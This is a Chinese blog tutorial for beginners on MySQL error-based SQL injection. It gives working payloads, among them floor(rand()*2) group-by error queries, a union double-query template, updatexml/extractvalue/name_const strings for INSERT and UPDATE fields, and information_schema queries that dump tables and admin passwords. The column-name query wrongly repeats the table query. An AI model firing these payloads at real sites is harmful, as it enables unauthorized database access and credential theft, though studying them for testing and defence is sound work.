mysql注入啥意思_【菜鸟学注入】之MySQL报错注入详解

用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的。如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询

创建一个test表

USE test;

CREATE TABLE test(numint(5));

INSERT INTO test VALUES(1);

INSERT INTO test VALUES(2);

INSERT INTO test VALUES(3);

INSERT INTO test VALUES(4);

SELECT*FROM test;

复制代码

主要涉及的mysql函数语句:1. Rand() #随机函数2. Floor() #取整函数3. CONUNT() #汇总函数4. Group by #分组语句

复制代码

原理:

当在一个聚合函数,比如CONUNT函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来--源于安全研究人员

简单的例子:

use test;

复制代码

然后简单看一下CONCAT的用法

SELECT CONCAT("a","b");

复制代码

查询什么就出来什么,

下面分别看一下其它几个函数的作用

SELECT rand();

复制代码

Rand()函数,学过编程的人都应该知道是一个产生随机数的函数范围在(0,1)之间的浮点数

再看看floor()函数

SELECT floor(3.141216545);

复制代码

显而易见,是一个取整的函数

SELECT floor(rand()*2);

复制代码

Rand()的范围是(0,1)*2==>(0,2)

那么floor(rand()*2)取整后就是0和1两个数

SELECT CONCAT((SELECT database()),floor(rand()*2));

复制代码

如果我们将上面那句加上from某个表,就会返回test0和test1的集合,返回的长度有表的记录数决定 ,例如我们from一下test表。

返回了4行数据

那么,我们如何过滤掉这些重复的信息呢?

这里就要用到group by语句,group by的作用是:

用于结合合计函数,根据一个或多个列对结果集进行分组。

我们来查询一下

SELECT CONCAT((SELECT database()),floor(rand()*2)) as a fromtest group by a;

复制代码

这样就不会有那么多无用的信息

简单解释一下语句:

CONCAT((SELECT database()),floor(rand()*2)) asa 这个就是将列名重命名为a,看图对比一 下即可知道

Group by a就是将根据a这个列的数据,将查询出来相同的数据分到一个组里面,因此我们看 到的数据就只有两个不同的

同理,我们可以将database()换成其它你想要查询的东西,如version(),@@data等。

而我们注入的时候通常是通过mysql的information_schema这个数据库来查询信息,

查询数据名就查询schemata的SCHEMA_NAME这个列

暴库select * frominformation_schema.schemata;

复制代码

里面就是我的数据名字

爆表

SELECT DISTINCT TABLE_NAME FROM information_schema.tables;

复制代码

爆列名

SELECT DISTINCT TABLE_NAME FROM information_schema.tables;

复制代码

太长了我就不截图了,自己去看看吧

爆字段就更简单了

直接查询就是

SELECT username,password FROM admin;

复制代码

假如存在这列名和表

知道这些后我们利用报错注入就可以,查询到我们想要的数据了select count(*), concat((select version()), floor(rand()*2))as a frominformation_schema.tables group by a;

复制代码

为了好看你可以加一些标记select count(*), concat('--',(select user()),'--', floor(rand()*2))as a frominformation_schema.tables group by a;

复制代码

更加高级的一点的就是,我们真正用到的双注入查询,是select的嵌套子查询,就是select里面还有一个select查询语句

通常是一种固定的格式,适用于没有回现位置和不能order by确定的注入

unionselect 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a frominformation_schema.tables group by a)b

蓝色部分就是我们之前讲的基本报错原理,而union是因为我们注入网站时,别人查询数据我 们使用union关键字进行联合查询,那如果人家使用的不是select查询呢?如果不是select,我们可以将这个语句嵌套到里面去就可,如使用or关键字等,进行查询,同样 可以进行注入,这个比较灵活

详情可以参考一下这篇文章

http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

本来想贴某云的地址的,但想想还是算了。

简单测试了一下,还是可以的,主要用到的代码是这几个

or updatexml(1,concat(0x7e,(version())),0) or ''or extractvalue(1,concat(0x7e,database())) or ''or (SELECT* FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ''复制代码

主要就是三种,还有一些其他的就不贴出来了,都是放在插入、删除和更新的字段后面

简单举个例子吧

insert into test values (5 or updatexml(1,concat(0x7e,(version())),0) or'');

复制代码

记得后面加两个单引号!

关于实例,可以论坛搜索,看30的帖子吧。这里就不做演示了

链接

http://bbs.blackbap.org/thread-2360-1-1.html

http://bbs.blackbap.org/thread-2235-1-1.html

PS:写的不好大牛勿喷,不知道排版怎么样,其实我在乎的是排版不是内容

写在最后,谢谢观看

参考文章:

http://www.cnseay.com/2363/

http://bugs.mysql.com/bug.php?id=8652

http://www.websec.ca/kb/sql_injection#MySQL_Specific_Code

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值